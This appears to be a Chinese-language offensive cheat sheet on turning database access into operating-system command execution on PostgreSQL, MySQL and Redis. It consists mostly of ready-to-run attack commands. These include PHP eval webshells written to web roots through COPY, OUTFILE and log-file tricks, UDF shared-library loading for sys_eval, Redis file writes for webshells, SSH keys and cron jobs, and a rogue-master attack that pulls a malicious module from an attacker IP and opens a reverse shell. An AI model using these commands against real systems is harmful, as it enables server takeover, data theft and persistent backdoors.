postgres

PROGRAM

从版本9.3开始,Postgres新增了一个“COPY TO/FROM PROGRAM”功能。这个功能简单来说就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。这就意味着数据库的超级用户与运行数据库的用户在操作系统上拥有相同的权限。

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

常用语句

select version();	#查看版本
select pg_ls_dir('/etc')	#读取系统目录
select pg_read_file('postgresql.auto.conf',0,100);	#读取文件内容
#写入文件1
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[sec]);?>$$);	
copy shell(shell) to '/var/www/html/shell.php';
#写入文件2
copy (select 'cmd') to '/var/www/html/shell.php';

调用so文件命令执行

Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令:

create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
select system('id');

Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。高版本的系统存在安全机制无法调用系统libc.sso.6,需要手动利用UDF进行命令执行。先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。

udf

gcc -Wall -I’依赖路径‘ -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
strip -sx udf.so #缩减so文件大小
cat udf.so | xxd -ps | tr -d "\n"

SELECT lo_from_bytea(9999,'\x..........');
select lo_export(9999,'/tmp/udf.so');
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
drop function sys_eval;
select lo_unlink(9999);

mysql

OUTFILE

条件

  • 没有运行在 secure-file-priv 模式下(show global variables like '%secure%';)
  • 对 目录有读写权限
  • 没有被过滤单双引号
  • 知道目录的绝对路径
    SELECT “CONTNETS” INTO OUTFILE “FILENAME”

日志

show variables like '%general%';	#查看日志配置
set global general_log='on';	#打开日志
set global general_log_file='/Applications/MAMP/htdocs/mysql_shell.php';	#设置日志文件路径
select "<?php eval($_POST['123'])?" #写文件
set global general_log='off';	#关闭日志

show GLOBAL VARIABLES like "%slow%";	#查看慢日志配置
set GLOBAL slow_query_log=on;	#启用慢日志
set global slow_query_log_file = '/Applications/MAMP/htdocs/mysql_shell.php';	#修改日志路径
select "<?php eval($_POST['123']); ?>" from mysql.db where sleep(10);	#写文件
set global slow_query_log='off';	#关闭日志

udf

和postgre同理,直接写二进制文件

select unhex('......') into dumpfile '/usr/lib64/mysql/plugin/mysqludf.so';
create function sys_eval returns string soname "mysqludf.so";
select sys_eval('whoami');

redis

写文件

可以写webshell、ssh公钥、计划任务等等

config set dir 路径
set x "\n\n\n内容\n\n\n"
config set dbfilename 文件名
save

主从getshell

通过在本地虚拟一个redis数据库,然后将靶机的数据库设置成本地数据库的从数据库,来将恶意.so文件散布到靶机上。
工具地址:https://github.com/n0b0dyCN/redis-rogue-server

# 进入靶机的redis-cli执行

# 保存当前redis库的key到dump.rdb,数据备份
save

# 设置redis的备份路径为当前目录
config set dir ./

#设置备份文件名为module.so,默认为dump.rdb
config set dbfilename module.so

# 清空当前redis的所有的key-value,避免干扰
flushdb

# 设置模仿的redis主数据库IP和端口,靶机上的redis从数据库会备份攻击者的redis主数据库中的恶意模块
# 然后保存为本地的module.so文件,192.168.1.137为攻击者ip,1234为第一步中设置的端口
slaveof 192.168.1.137 1234

#此时恶意模块已经被传输到靶机上,加载恶意模块
module load ./module.so

#切断主从,关闭复制功能
slaveof no one 

#执行系统命令
system.exec 'whoami'

#反弹shell
system.rev 192.168.1.137 9999 #将shell反弹到攻击机的9999端口上

#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb

#删除exp.so
system.exec 'rm ./module.so'

#卸载system模块的加载
module unload system